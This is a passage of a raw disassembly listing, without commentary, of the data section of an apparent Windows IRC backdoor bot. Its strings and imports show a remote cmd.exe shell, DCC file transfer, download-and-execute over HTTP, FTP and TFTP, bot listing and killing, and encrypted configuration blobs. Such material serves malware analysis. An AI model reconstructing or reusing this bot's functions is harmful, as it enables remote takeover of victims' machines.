sub_416F86+3p jmp dword_417120 sub_416FA8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A00h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FBC: ; DATA XREF: .data:0041737Co lea ecx, [ebp-10h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0DF8h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0E14h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FDD: ; DATA XREF: sub_414EF4o mov eax, offset dword_417350 jmp loc_416E08 ; --------------------------------------------------------------------------- align 4 dd 21000000h, 0FFFFFEh, 0BA70h, 0FFF04D8Dh, 75FF0C75h dd 8B0EE808h dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar ; sub_406C51+96r dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r ; sub_406722+184r ... dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r ; sub_4083AD+2DDr ... dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r dword_417018 dd 77DDACABh ; DATA XREF: sub_4083AD+E6r dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r ; sub_4102AE+37r ... dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r ; sub_406722+2F9r ... align 10h dword_417030 dd 77E7C657h ; DATA XREF: sub_4083AD+11Er ; sub_40D043+20Br ... dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r ; sub_408342+4Br dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr ; sub_414EF4+8EEr dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r ; sub_406B81+95r ... dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r ; sub_406AE7+15r ... dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br ; sub_403BD3+32r ... dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r ; sub_403BD3+4Dr ... dword_41705C dd 77E75CB5h ; DATA XREF: sub_40332B+227r ; sub_407148+18Br ... dword_417060 dd 77E6BD13h ; DATA XREF: sub_402A32+ECr ; sub_406E8E+1FEr dword_417064 dd 77F5157Dh ; DATA XREF: sub_402A32+F6r ; sub_409CB1+CFr ... dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r ; sub_406D90+D3r dword_41706C dd 77E6CBF9h ; DATA XREF: sub_401981+4Fr dword_417070 dd 77E7727Ah ; DATA XREF: sub_401981+9Er ; sub_401981+D7r dword_417074 dd 77E79C90h ; DATA XREF: sub_401981+104r ; sub_401981+111r dword_417078 dd 77E65F4Ch ; DATA XREF: sub_4083AD+FAr dword_41707C dd 77E61BB8h ; DATA XREF: sub_401981+1C6r ; sub_406E8E+2A5r dword_417080 dd 77EB7624h ; DATA XREF: sub_401981+274r dword_417084 dd 77E7FF65h ; DATA XREF: sub_401981+2B3r dword_417088 dd 77E78B82h ; DATA XREF: sub_401981+37Br dword_41708C dd 77E79F93h ; DATA XREF: sub_401244+F2r ; sub_40332B+1D0r ... dword_417090 dd 77E7A099h ; DATA XREF: sub_401244+F9r ; sub_40332B+1D7r ... dword_417094 dd 77E706B7h ; DATA XREF: sub_401244+159r ; sub_406041+193r ... dword_417098 dd 77E61A54h ; DATA XREF: sub_401244+21Dr ; sub_406509+91r dword_41709C dd 77E61BE6h ; DATA XREF: sub_401244+3C6r ; sub_401244+4F4r ... dword_4170A0 dd 77E616B4h ; DATA XREF: sub_401244+439r ; sub_406643+3Br dword_4170A4 dd 77E77963h ; DATA XREF: sub_401244+471r ; sub_401244+4C1r ... dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r ; sub_406E8E+22Ar ... dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r ; sub_401E38+30r ... dword_4170B0 dd 77E79A45h ; DATA XREF: sub_416F4E+1Er dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r dword_4170C4 dd 77E76C1Ah ; DATA XREF: sub_4083AD+33r dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br ; sub_408F2E+134r dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar ; sub_408F2E+7Fr ... dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er ; sub_4092A4:loc_409307r ... dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r ; sub_4092A4+14r ... dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar ; sub_4092A4+Ar ... dword_4170DC dd 77E7176Ch ; DATA XREF: sub_4093B6+51r dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r ; sub_4098F3+1B6r dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er dword_4170E8 dd 77E80656h ; DATA XREF: sub_401244+D7r ; sub_406643+19r dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r dword_4170F0 dd 77E79CE3h ; DATA XREF: sub_401981+118r dword_4170F4 dd 77E78C17h ; DATA XREF: sub_4167F1+31r dword_4170F8 dd 77E7C2C4h ; DATA XREF: sub_4167F1+A8r dword_4170FC dd 77E73167h ; DATA XREF: sub_414EF4+5AAr ; sub_414EF4+5BCr ... dword_417100 dd 77E73BEFh ; DATA XREF: sub_414EF4+9C0r dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br ; sub_414EF4+5CEr ... dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r dd 0 dword_417114 dd 77C1C055h ; DATA XREF: sub_416F7Ar dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r dword_417120 dd 77C20C5Bh ; DATA XREF: sub_416FA8r dword_417124 dd 77C21AD8h ; DATA XREF: .data:loc_416E08r dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r dword_41715C dd 77C33EB0h ; DATA XREF: sub_416DBAr dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r align 8 dword_4171C8 dd 7713BC68h ; DATA XREF: sub_416E4E+44r align 10h dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr ; sub_402A32+79Br ... align 8 dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r dword_4171DC dd 77D79D1Ch ; DATA XREF: sub_414EF4+76Dr dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r ; sub_408F2E+1D1r ... dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r ; sub_415B60+84r dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r ; sub_4050EA+106r ... dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er ; sub_4048EF+39Fr dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r ; sub_412A3A+178r ... dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r ; sub_4055E5+7Br ... dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r ; sub_411DC5+DFr ... dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr ; sub_40A9CF+1A74r dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r ; sub_4045B2+21r dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr ; sub_40447B+10r dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar ; sub_4046BC+CEr ... dword_41721C dd 71AB401Ch ; DATA XREF: sub_4038BA+72r ; sub_40732D+1A8r ... dword_417220 dd 71ABD755h ; DATA XREF: sub_4038BA+D0r ; sub_4038BA+171r ... dword_417224 dd 71AB1740h ; DATA XREF: sub_4038BA+E5r ; sub_4038BA+186r ... dword_417228 dd 71ABD850h ; DATA XREF: sub_4038BA+28Dr dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r ; sub_404E1C+E0r ... dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r ; sub_40A9CF+1A80r ... dword_417234 dd 71AB350Dh ; DATA XREF: sub_403588+23r ; sub_403588+4Ar ... dword_417238 dd 71AB1746h ; DATA XREF: sub_403588+BAr ; sub_403588+1FEr ... dword_41723C dd 71AB2BBFh ; DATA XREF: sub_403588+151r ; sub_4055E5+F3r ... dword_417240 dd 71AB157Eh ; DATA XREF: sub_4020C2+B9r ; sub_40449C+21r ... dword_417244 dd 71AB12F8h ; DATA XREF: sub_4020C2+1FAr ; sub_4055E5+DDr ... dword_417248 dd 71AB5690h ; DATA XREF: sub_401E38+106r ; sub_4053DC+27r ... dword_41724C dd 71AB12A7h ; DATA XREF: sub_401E38+141r ; sub_4020C2+201r dword_417250 dd 71AB1ED3h ; DATA XREF: sub_4055E5+7F2r ; sub_411DC5+372r ... dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr ; sub_407148+183r ... dword_417258 dd 71AB1444h ; DATA XREF: sub_411DC5+2A1r dword_41725C dd 71AB14DCh ; DATA XREF: sub_415F69+157r dword_417260 dd 71AB32CAh ; DATA XREF: sub_415F69+81r dword_417264 dd 71AB41DAh ; DATA XREF: sub_4167F1+201r dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr align 10h flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r ; sub_401E38+22Fr ... flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: sub_4093B6+5o dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: sub_4094E6+5o dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: sub_4167F1+5o dd offset loc_416AC5 dd offset loc_416ADB dd offset dword_4172F0 off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o ; .data:00416F3Ao ... dd offset dword_417338 off_4172BC dd offset sub_416F86 ; DATA XREF: .data:off_41DDE0o ; .data:off_41DE00o off_4172C0 dd offset off_41DDE0 ; DATA XREF: .data:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) ; DATA XREF: .data:00417300o dd 1, 4172D8h dword_4172F0 dd 3 dup(0) ; DATA XREF: .data:004172B0o dd offset off_41DDE0 dd offset dword_4172DC+4 dd 0 off_417308 dd offset off_41DE00 ; DATA XREF: .data:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: .data:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) ; DATA XREF: .data:004172B8o dd offset off_41DE00 dd offset unk_417328 align 10h dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF: .data:loc_416FDDo dd 0FFFFFFFFh, 416FB0h, 0 dd offset loc_416FBC dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DDE0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h ; DATA XREF: .data:004173C4o dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o dd offset sub_416F4E dd 0 dd offset dword_4173B0 dd 1757Ch, 2 dup(0) dd 17876h, 17114h, 1765Ch, 2 dup(0) dd 1788Eh, 171F4h, 17498h, 2 dup(0) dd 17C70h, 17030h, 17640h, 2 dup(0) dd 17CE6h, 171D8h, 17468h, 2 dup(0) dd 17DBAh, 17000h, 17638h, 2 dup(0) dd 17DD8h, 171D0h, 17630h, 2 dup(0) dd 17E3Eh, 171C8h, 0A1h dup(0) dd 74730000h, 79706372h, 0 aStrlen db 'strlen',0 align 4 dd 616D0000h, 636F6C6Ch, 0 aFree db 'free',0 align 10h aMemcpy db 'memcpy',0 align 4 dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h dd 6B636Fh, 656D0000h, 7465736Dh, 0 aStrcat db 'strcat',0 align 4 dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0 aFclose db 'fclose',0 align 4 dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h dd 74610000h, 696Fh, 73730000h, 666E6163h, 0 aStrstr db 'strstr',0 align 4 dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h dd 70h, 6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h dd 656C646Eh, 3372h, 625F0000h, 6E696765h, 65726874h, 78656461h dd 0 aVsprintf db 'vsprintf',0 align 4 a??3@yaxpax@z db '??3@YAXPAX@Z',0 align 4 a??2@yapaxi@z db '??2@YAPAXI@Z',0 align 4 aPrintf db 'printf',0 align 4 dd 74730000h, 706D6372h, 0 aTolower db 'tolower',0 dd 656D0000h, 706D636Dh, 0 a_vsnprintf db '_vsnprintf',0 align 4 dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh dd 65h, 78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h dd 54524356h, 6C6C642Eh, 0 aWsaioctl db 'WSAIoctl',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 aDeletefilea db 'DeleteFileA',0 dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aClosehandle db 'CloseHandle',0 dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h dd 48656C75h, 6C646E61h, 4165h, 65470000h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0 aGetexitcodepro db 'GetExitCodeProcess',0 align 4 dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h dd 65746165h, 636F7250h, 41737365h, 0 aDuplicatehandl db 'DuplicateHandle',0 dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h dd 72430000h, 65746165h, 65706950h, 0 aSearchpatha db 'SearchPathA',0 dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h dd 72724574h, 726Fh, 6F430000h, 69467970h, 41656Ch, 78450000h dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h dd 7373h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h dd 65h, 61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h dd 416Eh, 65530000h, 72754374h, 746E6572h, 65726944h, 726F7463h dd 4179h, 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetversionexa db 'GetVersionExA',0 align 4 aGetcomputernam db 'GetComputerNameA',0 align 4 aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h dd 41h, 44746547h, 65766972h, 65707954h, 41h, 54746547h dd 436B6369h, 746E756Fh, 0 aQueryperforman db 'QueryPerformanceFrequency',0 align 4 aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h dd 61636974h, 6365536Ch, 6E6F6974h, 0 aLeavecriticals db 'LeaveCriticalSection',0 align 4 aCreatethread db 'CreateThread',0 align 4 aUnmapviewoffil db 'UnmapViewOfFile',0 dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0 aLstrcmpa db 'lstrcmpA',0 align 10h aGetenvironment db 'GetEnvironmentVariableA',0 dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h dd 4179h, 72430000h, 65746165h, 6574754Dh, 4178h, 65530000h dd 72724574h, 6F4D726Fh, 6564h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 0 aWsprintfa db 'wsprintfA',0 align 4 aGetwindowtexta db 'GetWindowTextA',0 align 4 dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h dd 77h, 646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh dd 67617373h, 4165h, 73490000h, 72616843h, 68706C41h, 6D754E61h dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 51676552h, 79726575h, 756C6156h, 41784565h, 0 aRegsetvalueexa db 'RegSetValueExA',0 align 4 dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h dd 4E726573h, 41656D61h, 0 aCryptreleaseco db 'CryptReleaseContext',0 dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h dd 45776F72h, 70656378h, 6E6F6974h, 0 a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 4 aLocalfree db 'LocalFree',0 aOleaut32_dll_0 db 'OLEAUT32.dll',0 align 4 dd 6Dh dup(0) off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er dd offset dword_41805C dd offset dword_418040 dd offset dword_418014 dd 0 dword_418014 dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch ; DATA XREF: .data:0041800Co dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0) dword_418040 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h ; DATA XREF: .data:00418008o dd 0BFD1h, 0 dword_41805C dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:00418004o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 0C3928695h, 0D5D48F94h, 0EEh, 0 dword_418098 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:off_418000o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 95h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_401244+52Do dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_401244+50Ao dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_401244+412o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_401244+45o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; sub_403DF3+18Co ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; sub_402A32+794o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401E38+248o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401E38+CCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; DATA XREF: sub_401E38+36o ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_4020C2+3E1o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_4020C2+313o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_4020C2+28Eo dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_4020C2+20Fo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o align 4 aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402A32+7F6o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402A32+7D1o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402A32+738o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4184B4 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402A32+6B0o dword_4184C0 dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: sub_402A32+45Fo ; sub_414EF4+644o ... unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: sub_402A32+3A8o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao ; sub_402A32+36Do align 4 a21 db '21',0 ; DATA XREF: sub_402A32+328o align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o align 10h a80 db '80',0 ; DATA XREF: sub_402A32+2CEo ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402A32+135o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402A32+110o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4185C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402A32+C0o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402A32+AAo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 